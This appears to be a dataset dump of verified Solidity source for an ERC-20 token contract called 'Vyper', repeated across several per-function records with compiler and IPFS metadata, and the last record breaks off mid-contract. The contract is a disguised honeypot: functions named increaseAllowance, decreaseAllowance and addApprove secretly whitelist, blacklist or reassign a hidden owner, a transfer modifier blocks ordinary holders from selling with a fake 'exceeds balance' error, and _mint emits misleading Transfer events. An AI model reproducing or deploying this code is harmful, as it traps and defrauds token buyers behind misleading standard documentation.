_mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IER C20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
addApprove
function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MPL-2.0
ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2
{ "func_code_index": [ 8120, 8404 ] }
12,415
Vyper
Vyper.sol
0xf1599c8c832483a164095c8cb0ab4be9b027719d
Solidity
Vyper
contract Vyper is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IER C20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
_transfer
function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); }
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MPL-2.0
ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2
{ "func_code_index": [ 8891, 9439 ] }
12,416
Vyper
Vyper.sol
0xf1599c8c832483a164095c8cb0ab4be9b027719d
Solidity
Vyper
contract Vyper is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IER C20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
_mint
function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); }
/** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MPL-2.0
ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2
{ "func_code_index": [ 9715, 10021 ] }
12,417
Vyper
Vyper.sol
0xf1599c8c832483a164095c8cb0ab4be9b027719d
Solidity
Vyper
contract Vyper is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public 